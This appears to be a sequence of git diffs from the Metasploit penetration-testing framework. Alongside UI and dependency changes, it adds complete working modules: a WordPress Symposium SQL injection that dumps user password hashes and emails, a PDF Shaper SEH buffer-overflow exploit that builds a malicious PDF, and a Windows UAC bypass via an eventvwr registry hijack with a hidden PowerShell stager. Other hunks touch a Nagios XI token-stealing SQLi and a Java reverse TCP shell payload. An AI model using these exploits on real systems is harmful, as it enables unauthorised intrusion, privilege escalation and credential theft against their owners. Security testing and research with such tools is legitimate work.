reset_sequence = "\001\r\033[K\002"
reset_sequence = "\n\001\r\033[K\002"
if (/mingw/ =~ RUBY_PLATFORM)
reset_sequence = ""
end
+1 -12
View File
@@ -63,18 +63,7 @@ class Output < Rex::Ui::Output
end
def print_line(msg = '')
if (/mingw/ =~ RUBY_PLATFORM)
print(msg + "\n")
return
end
print("\033[s") # Save cursor position
print("\r\033[K" + msg + "\n")
if input and input.prompt
print("\r\033[K")
print(input.prompt.tr("\001\002", ''))
print(input.line_buffer.tr("\001\002", ''))
print("\033[u\033[B") # Restore cursor, move down one line
end
print(msg + "\n")
end
def print_warning(msg = '')
+17
View File
@@ -55,6 +55,23 @@ class Output::Stdio < Rex::Ui::Text::Output
@io ||= $stdout
end
# Use ANSI Control chars to reset prompt position for async output
# SEE https://github.com/rapid7/metasploit-framework/pull/7570
def print_line(msg = '')
if (/mingw/ =~ RUBY_PLATFORM)
print(msg + "\n")
return
end
print("\033[s") # Save cursor position
print("\r\033[K" + msg + "\n")
if input and input.prompt
print("\r\033[K")
print(input.prompt.tr("\001\002", ''))
print(input.line_buffer.tr("\001\002", ''))
print("\033[u\033[B") # Restore cursor, move down one line
end
end
#
# Prints the supplied message to standard output.
#
+1
View File
@@ -272,6 +272,7 @@ module Shell
#
def print_error(msg='')
return if (output.nil?)
return if (msg.nil?)
self.on_print_proc.call(msg) if self.on_print_proc
# Errors are not subject to disabled output
+3 -3
View File
@@ -65,9 +65,9 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.2.1'
spec.add_runtime_dependency 'metasploit-payloads', '1.2.4'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.2'
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.4'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.
@@ -128,7 +128,7 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'rex-struct2'
# Library which contains architecture specific information such as registers, opcodes,
# and stack manipulation routines.
spec.add_runtime_dependency 'rex-arch', '0.1.2'
spec.add_runtime_dependency 'rex-arch', '0.1.4'
# Library for working with OLE.
spec.add_runtime_dependency 'rex-ole'
# Library for creating and/or parsing MIME messages.
@@ -0,0 +1,150 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Symposium Plugin SQL Injection',
'Description' => %q{
This module exploits a SQL injection vulnerability in the WP Symposium plugin
before 15.8 for WordPress, which allows remote attackers to extract credentials
via the size parameter to get_album_item.php.
},
'Author' =>
[
'PizzaHatHacker', # Vulnerability discovery
'Matteo Cantoni <goony[at]nothink.org>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6522'],
['EDB', '37824']
],
'DisclosureDate' => 'Aug 18 2015'
))
register_options(
[
OptString.new('URI_PLUGIN', [true, 'The WordPress Symposium Plugin URI', 'wp-symposium'])
], self.class)
end
def check
check_plugin_version_from_readme('wp-symposium', '15.8.0', '15.5.1')
end
def uri_plugin
normalize_uri(wordpress_url_plugins, datastore['URI_PLUGIN'], 'get_album_item.php')
end
def send_sql_request(sql_query)
uri_complete = normalize_uri(uri_plugin)
begin
res = send_request_cgi(
'method' => 'GET',
'uri' => uri_complete,
'vars_get' => { 'size' => sql_query }
)
return nil if res.nil? || res.code != 200 || res.body.nil?
res.body
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
vprint_error("#{peer} - The host was unreachable!")
return nil
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :nonreplayable_hash,
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
vprint_status("#{peer} - Attempting to connect...")
vprint_status("#{peer} - Trying to retrieve the first user id...")
first_id = send_sql_request('id from wp_users order by id asc limit 1 ; --')
if first_id.nil?
vprint_error("#{peer} - Failed to retrieve the first user id... Try with check function!")
return
else
vprint_status("#{peer} - First user-id is '#{first_id}'")
end
vprint_status("#{peer} - Trying to retrieve the last user id...")
last_id = send_sql_request('id from wp_users order by id desc limit 1 ; --')
if last_id.nil?
vprint_error("#{peer} - Failed to retrieve the last user id")
return
else
vprint_status("#{peer} - Last user-id is '#{last_id}'")
end
credentials = ""
vprint_status("#{peer} - Trying to retrieve the users informations...")
for user_id in first_id..last_id
separator = Rex::Text.rand_text_numeric(7,bad='0')
user_info = send_sql_request("concat_ws(#{separator},user_login,user_pass,user_email) from wp_users where id = #{user_id} ; --")
if user_info.nil?
vprint_error("#{peer} - Failed to retrieve the users info")
return
else
values = user_info.split("#{separator}")
user_login = values[0]
user_pass = values[1]
user_email = values[2]
print_good("#{peer} - #{sprintf("%-15s %-34s %s", user_login, user_pass, user_email)}")
report_cred(
ip: rhost,
port: datastore['RPORT'],
service_name: datastore['SSL'] ? 'https' : 'http',
user: user_login,
password: user_pass,
proof: user_email
)
credentials << "#{user_login},#{user_pass},#{user_email}\n"
end
end
unless credentials.empty?
loot = store_loot("wp_symposium.http","text/plain", rhost, credentials)
vprint_status("Credentials saved in: #{loot}")
end
end
end
@@ -60,11 +60,13 @@ class MetasploitModule < Msf::Auxiliary
'uri' => '/',
'method' => 'GET'
})
print_good("#{rhost}:#{rport} - Server is responsive...")
return 1
if res
print_good("#{rhost}:#{rport} - Server is responsive...")
return true
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
return
end
false
end
#
@@ -12,19 +12,22 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Cisco Network Access Manager Directory Traversal Vulnerability',
'Description' => %q{
'Name' => 'Cisco Network Access Manager Directory Traversal Vulnerability',
'Description' => %q{
This module tests whether a directory traversal vulnerablity is present
in versions of Cisco Network Access Manager 4.8.x You may wish to change
FILE (e.g. passwd or hosts), MAXDIRS and RPORT depending on your environment.
},
'References' =>
'References' =>
[
[ 'CVE', '2011-3305' ],
[ 'OSVDB', '76080']
],
'Author' => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ],
'License' => MSF_LICENSE
'Author' => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ],
'License' => MSF_LICENSE,
'DefaultOptions' => {
'SSL' => true
}
)
register_options(
@@ -83,14 +83,17 @@ class MetasploitModule < Msf::Auxiliary
def check_conn?
begin
res = send_request_cgi('uri' => '/', 'method' => 'GET')
vprint_good("Server is responsive...")
if res
vprint_good("Server is responsive...")
return true
end
rescue ::Rex::ConnectionRefused,
::Rex::HostUnreachable,
::Rex::ConnectionTimeout,
::Rex::ConnectionError,
::Errno::EPIPE
return
end
false
end
def enumerate_vpn_groups
@@ -66,9 +66,9 @@ class MetasploitModule < Msf::Auxiliary
end
def extract_members(res, url)
members = res.body.scan(/<div class="ccm\-profile\-member\-username">(.*)<\/div>/i)
members = res.get_html_document.search('div[@class="ccm-profile-member-username"]')
if members
unless members.empty?
print_good("#{peer} Extracted #{members.length} entries")
# separate user data into userID, username and Profile URL
@@ -76,13 +76,15 @@ class MetasploitModule < Msf::Auxiliary
users = []
members.each do | mem |
userid = mem[0].scan(/\/view\/(\d+)/i)
username = mem[0].scan(/">(.+)<\/a>/i)
profile = mem[0].scan(/href="(.+)">/i)
userid = mem.text.scan(/\/view\/(\d+)/i).flatten.first
anchor = mem.at('a')
username = anchor.text
profile = anchor.attributes['href'].value
# add all data to memberlist for table output
memberlist.push([userid[0], username[0], profile[0]])
memberlist.push([userid, username, profile])
# add usernames to users array for reporting
users.push(username[0])
users.push(username)
end
membertbl = Msf::Ui::Console::Table.new(
@@ -99,7 +101,7 @@ class MetasploitModule < Msf::Auxiliary
]})
memberlist.each do | mem |
membertbl << ["#{mem[0].join}", "#{mem[1].join}", "#{mem[2].join}"]
membertbl << [mem[0], mem[1], mem[2]]
end
# print table
@@ -77,6 +77,7 @@ class MetasploitModule < Msf::Auxiliary
password: pass,
proof: auth.body.to_s
)
return :next_user
else
print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
end
@@ -46,7 +46,7 @@ class MetasploitModule < Msf::Auxiliary
return [nil, nil] if res.nil? || res.get_cookies.empty?
# Get the session ID from the cookie
m = get_cookies.match(/(DOLSESSID_.+);/)
m = res.get_cookies.match(/(DOLSESSID_.+);/)
id = (m.nil?) ? nil : m[1]
# Get the token from the decompressed HTTP body response
@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary
end
def base_uri
@base_uri ||= "#{normalize_uri(target_uri.path)}?q=admin/views/ajax/autocomplete/user/"
@base_uri ||= normalize_uri("#{target_uri.path}/?q=admin/views/ajax/autocomplete/user/")
end
def check_host(ip)
@@ -126,9 +126,9 @@ class MetasploitModule < Msf::Auxiliary
return
end
end
results = results.flatten.uniq
print_status("Done. #{results.length} usernames found...")
results.flatten.uniq.each do |user|
results.each do |user|
print_good("Found User: #{user}")
report_cred(
@@ -78,12 +78,14 @@ class MetasploitModule < Msf::Auxiliary
if not datastore['QUERY'].empty?
qvars = queryparse(datastore['QUERY']) #Now its a Hash
else
print_error("You need to set QUERY param for GET")
return
end
else
if not datastore['DATA'].empty?
qvars = queryparse(datastore['DATA']) #Now its a Hash
else
print_error("You need to set DATA parameter for POST")
return
end
end
@@ -58,7 +58,7 @@ class MetasploitModule < Msf::Auxiliary
return false
end
if (res and res.code == 200 and res.headers['Server'].include?("EtherPAD") and res.body.include?("EtherPAD Duo"))
if (res and res.code == 200 and res.headers['Server'] =~ /EtherPAD/ and res.body.include?("EtherPAD Duo"))
vprint_good("Running EtherPAD Duo application ...")
return true
else
@@ -55,18 +55,18 @@ class MetasploitModule < Msf::Auxiliary
# Get the currently configured dir and dbfilename before we overwrite them;
# we should set them back to their original values after we are done.
# XXX: this is a hack -- we should really parse the responses more correctly
original_dir = redis_command('CONFIG', 'GET', 'dir').split(/\r\n/).last
original_dbfilename = redis_command('CONFIG', 'GET', 'dbfilename').split(/\r\n/).last
original_dir = (redis_command('CONFIG', 'GET', 'dir') || '').split(/\r\n/).last
original_dbfilename = (redis_command('CONFIG', 'GET', 'dbfilename') || '').split(/\r\n/).last
if datastore['DISABLE_RDBCOMPRESSION']
original_rdbcompression = redis_command('CONFIG', 'GET', 'rdbcompression').split(/\r\n/).last
original_rdbcompression = (redis_command('CONFIG', 'GET', 'rdbcompression') || '').split(/\r\n/).last
end
# set the directory which stores the current redis local store
data = redis_command('CONFIG', 'SET', 'dir', dirname)
data = redis_command('CONFIG', 'SET', 'dir', dirname) || ''
return unless data.include?('+OK')
# set the file name, relative to the above directory name, that is the redis local store
data = redis_command('CONFIG', 'SET', 'dbfilename', basename)
data = redis_command('CONFIG', 'SET', 'dbfilename', basename) || ''
return unless data.include?('+OK')
# Compression string objects using LZF when dump .rdb databases ?
@@ -75,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary
# the dataset will likely be bigger if you have compressible values or
# keys.
if datastore['DISABLE_RDBCOMPRESSION'] && original_rdbcompression.upcase == 'YES'
data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no')
data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no') || ''
if data.include?('+OK')
reset_rdbcompression = true
else
@@ -85,7 +85,7 @@ class MetasploitModule < Msf::Auxiliary
end
if datastore['FLUSHALL']
data = redis_command('FLUSHALL')
data = redis_command('FLUSHALL') || ''
unless data.include?('+OK')
print_warning("#{peer} -- failed to flushall(); continuing")
end
@@ -96,9 +96,9 @@ class MetasploitModule < Msf::Auxiliary
# multiline. It also probably doesn't work well if the content isn't
# simple ASCII text
key = Rex::Text.rand_text_alpha(32)
data = redis_command('SET', key, content)
data = redis_command('SET', key, content) || ''
return unless data.include?('+OK')
data = redis_command('SAVE')
data = redis_command('SAVE') || ''
if data.include?('+OK')
print_good("#{peer} -- saved #{content.size} bytes inside of redis DB at #{path}")
@@ -55,6 +55,7 @@ class MetasploitModule < Msf::Auxiliary
register_options(
[
Opt::Proxies,
OptBool.new('ABORT_ON_LOCKOUT', [ true, "Abort the run when an account lockout is detected", true ]),
OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true ]),
OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false ]),
OptBool.new('DETECT_ANY_AUTH', [false, 'Enable detection of systems accepting any authentication', true])
@@ -121,6 +122,9 @@ class MetasploitModule < Msf::Auxiliary
@scanner.scan! do |result|
case result.status
when Metasploit::Model::Login::Status::LOCKED_OUT
print_error("Account lockout detected on '#{result.credential}'")
return if datastore['ABORT_ON_LOCKOUT']
when Metasploit::Model::Login::Status::DENIED_ACCESS
print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}', #{result.proof}"
report_creds(ip, rport, result)
@@ -44,6 +44,11 @@ class MetasploitModule < Msf::Exploit::Remote
'LHOST' => Rex::Socket.source_address
}
))
register_options([
OptInt.new('USER_ID', [true, 'User ID in the database to target', 1]),
OptString.new('API_TOKEN', [false, 'If an API token was already stolen, skip the SQLi'])
])
end
def check
@@ -69,8 +74,12 @@ class MetasploitModule < Msf::Exploit::Remote
fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!')
end
print_status('Getting API token')
get_api_token
if datastore['API_TOKEN']
@api_token = datastore['API_TOKEN']
else
print_status('Getting API token')
get_api_token
end
print_status('Getting admin cookie')
get_admin_cookie
print_status('Getting monitored host')
@@ -117,13 +126,19 @@ class MetasploitModule < Msf::Exploit::Remote
'vars_get' => {
'mode' => 'resolve',
'host' => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \
'SELECT backend_ticket FROM xi_users WHERE user_id=1' \
"SELECT backend_ticket FROM xi_users WHERE user_id=#{datastore['USER_ID']}" \
'),FLOOR(RAND(0)*2))x ' \
'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '
}
)
# default admin token is shorter, ie 27o3b7mu1 shortened to 27o3b7mu
# any other user has a longer token, but we cant strip the last char off.
# example: 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
if res && res.body =~ /Duplicate entry '(.*?).'/
if $1.length > 8
res.body =~ /Duplicate entry '(.*?)'/
end
@api_token = $1
vprint_good("API token: #{@api_token}")
else
@@ -136,7 +151,7 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => 'GET',
'uri' => '/nagiosxi/rr.php',
'vars_get' => {
'uid' => "1-#{Rex::Text.rand_text_alpha(8)}-" +
'uid' => "#{datastore['USER_ID']}-#{Rex::Text.rand_text_alpha(8)}-" +
Digest::MD5.hexdigest(@api_token)
}
)
+1 -1
View File
@@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote
'BadChars' => '',
'DisableNops' => true,
},
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe },
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi },
'Arch' => ARCH_ALL,
'Targets' => [ [ 'Wildcard Target', { } ] ],
'DefaultTarget' => 0
@@ -371,32 +371,6 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def report_cred(opts)
service_data = {
address: opts[:ip],
@@ -0,0 +1,121 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::PDF
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'PDF Shaper Buffer Overflow',
'Description' => %q{
PDF Shaper is prone to a security vulnerability when processing PDF files.
The vulnerability appear when we use Convert PDF to Image and use a specially
crafted PDF file. This module has been tested successfully on Win Xp, Win 7,
Win 8, Win 10.
},
'License' => MSF_LICENSE,
'Author' =>
[
'metacom27[at]gmail.com - twitter.com/m3tac0m', # POC
'metacom' # MSF Module
],
'References' =>
[
['URL', 'https://www.exploit-db.com/exploits/37760/']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process', # none/process/thread/seh
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true
},
'Targets' =>
[
['<Win Xp, Win 7, Win 8, Win 10 / PDF Shaper v.3.5 and v.3.6>',
{
'Ret' => 0x00402AC1, # PDFTools.exe
'Offset' => 433
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 03 2015',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('FILENAME', [false, 'The file name.', 'msf.pdf'])
], self.class
)
end
def exploit
file_create(make_pdf)
end
def jpeg
buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00"
buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02"
buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04"
buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08"
buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05"
buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"
buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00"
buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4"
buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"
buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01"
buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"
buffer << "\x01\x00\x02\x03\x04\x05\x06\x07"
buffer << rand_text(target['Offset']) # junk
buffer << generate_seh_record(target.ret)
buffer << payload.encoded
buffer << rand_text(2388 - payload.encoded.length)
buffer
end
def make_pdf
@pdf << header
add_object(1, "<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>")
add_object(2, "<</Type/Outlines>>")
add_object(3, "<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>")
add_object(4, "[/PDF/Text/ImageC]")
add_object(5, "<</Type/Page/Parent 3 0 R/Contents 6 0 R>>")
stream_1 = "stream" << eol
stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
stream_1 << "endstream" << eol
add_object(6, "<</Length 91>>#{stream_1}")
stream = "<<" << eol
stream << "/Width 230" << eol
stream << "/BitsPerComponent 8" << eol
stream << "/Name /X" << eol
stream << "/Height 50" << eol
stream << "/Intent /RelativeColorimetric" << eol
stream << "/Subtype /Image" << eol
stream << "/Filter /DCTDecode" << eol
stream << "/Length #{jpeg.length}" << eol
stream << "/ColorSpace /DeviceCMYK" << eol
stream << "/Type /XObject" << eol
stream << ">>"
stream << "stream" << eol
stream << jpeg << eol
stream << "endstream" << eol
add_object(7, stream)
finish_pdf
end
end
@@ -0,0 +1,200 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Exploit::Powershell
include Post::Windows::Priv
include Post::Windows::Registry
include Post::Windows::Runas
EVENTVWR_DEL_KEY = "HKCU\\Software\\Classes\\mscfile"
EVENTVWR_WRITE_KEY = "HKCU\\Software\\Classes\\mscfile\\shell\\open\\command"
EXEC_REG_VAL = '' # This maps to "(Default)"
EXEC_REG_VAL_TYPE = 'REG_SZ'
EVENTVWR_PATH = "%WINDIR%\\System32\\eventvwr.exe"
PSH_PATH = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
CMD_MAX_LEN = 2081
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)',
'Description' => %q{
This module will bypass Windows UAC by hijacking a special key in the Registry under
the current user hive, and inserting a custom command that will get invoked when
the Windows Event Viewer is launched. It will spawn a second shell that has the UAC
flag turned off.
This module modifies a registry key, but cleans up the key once the payload has
been invoked.
The module does not require the architecture of the payload to match the OS. If
specifying EXE::Custom your DLL should call ExitProcess() after starting your
payload in a separate process.
},
'License' => MSF_LICENSE,
'Author' => [
'Matt Nelson', # UAC bypass discovery and research
'Matt Graeber', # UAC bypass discovery and research
'OJ Reeves' # MSF module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'References' => [
[
'URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/',
'URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1'
]
],
'DisclosureDate'=> 'Aug 15 2016'
))
end
def check
if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def exploit
commspec = '%COMSPEC%'
registry_view = REGISTRY_VIEW_NATIVE
# Make sure we have a sane payload configuration
if sysinfo['Architecture'] == ARCH_X64
# On x64, check arch
if session.arch == ARCH_X86
# running WOW64, map the correct registry view
registry_view = REGISTRY_VIEW_64_BIT
if target_arch.first == ARCH_X64
# we have an x64 payload specified while using WOW64, so we need to
# move over to sysnative
commspec = '%WINDIR%\\Sysnative\\cmd.exe'
else
# Else, we're 32-bit payload, so need to ref wow64.
commspec = '%WINDIR%\\SysWOW64\\cmd.exe'
end
elsif target_arch.first == ARCH_X86
# We're x64, but invoking x86, so switch to SysWOW64
commspec = '%WINDIR%\\SysWOW64\\cmd.exe'
end
else
# if we're on x86, we can't handle x64 payloads
if target_arch.first == ARCH_X64
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
end
end
# Validate that we can actually do things before we bother
# doing any more work
check_permissions!
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
)
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end
payload_value = rand_text_alpha(8)
psh_path = expand_path("#{PSH_PATH}")
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)
psh_stager = "\"IEX (Get-ItemProperty -Path #{EVENTVWR_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
if existing.empty?
registry_createkey(EVENTVWR_WRITE_KEY, registry_view)
end
print_status("Configuring payload and stager registry keys ...")
registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
registry_setvaldata(EVENTVWR_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
# We can't invoke EventVwr.exe directly because CreateProcess fails with the
# dreaded 740 error (Program requires elevation). Instead, we must invoke
# cmd.exe and use that to fire off the binary.
cmd_path = expand_path(commspec)
cmd_args = expand_path("/c #{EVENTVWR_PATH}")
print_status("Executing payload: #{cmd_path} #{cmd_args}")
# We can't use cmd_exec here because it blocks, waiting for a result.
client.sys.process.execute(cmd_path, cmd_args, {'Hidden' => true})
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
# TODO: fix this up to use something smarter than a timeout?
Rex::sleep(5)
handler(client)
print_status("Cleaining up registry keys ...")
if existing.empty?
registry_deletekey(EVENTVWR_DEL_KEY, registry_view)
else
registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
registry_deleteval(EVENTVWR_WRITE_KEY, payload_value, registry_view)
end
end
def check_permissions!
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
# Check if you are an admin
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
end
unless is_in_admin_group?
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
print_status('UAC is Enabled, checking level...')
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
end
@@ -35,9 +35,6 @@ module MetasploitModule
'Session' => Msf::Sessions::Meterpreter_Java_Android,
'Payload' => '',
))
register_options([
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
], self.class)
end
#
@@ -30,9 +30,6 @@ module MetasploitModule
'Session' => Msf::Sessions::Meterpreter_Java_Android,
'Payload' => '',
))
register_options([
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
], self.class)
end
#
@@ -16,37 +16,24 @@ module MetasploitModule
include Msf::Payload::Java
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
def initialize(info={})
super(merge_info(info,
'Name' => 'Java Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => [
'mihi', # all the hard work
'egypt' # msf integration
],
'License' => MSF_LICENSE,
'Platform' => [ 'java' ],
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
'Name' => 'Java Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => ['mihi', 'egypt'],
'License' => MSF_LICENSE,
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' => {'Offsets' => {}, 'Payload' => ''}
))
@class_files = [
[ "metasploit", "Payload.class" ],
[ "javapayload", "stage", "Stage.class" ],
[ "javapayload", "stage", "StreamForwarder.class" ],
[ "javapayload", "stage", "Shell.class" ],
]
end
def generate_jar(opts={})
jar = Rex::Zip::Jar.new
jar.add_sub("metasploit") if opts[:random]
@class_files.each do |path|
class_files.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
@@ -57,15 +44,16 @@ module MetasploitModule
jar.add_file(path.join("/"), data)
end
jar.build_manifest(:main_class => "metasploit.Payload")
jar.add_file("metasploit.dat", config)
jar.add_file("metasploit.dat", stager_config(opts))
jar
end
def config
def stager_config(opts={})
ds = opts[:datastore] || datastore
c = ""
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
# Magical, means use stdin/stdout. Used for debugging
#c << "LPORT=0\n"
c << "EmbeddedStage=Shell\n"
@@ -73,4 +61,12 @@ module MetasploitModule
c
end
def class_files
[
['metasploit', 'Payload.class'],
['javapayload', 'stage', 'Stage.class'],
['javapayload', 'stage', 'StreamForwarder.class'],
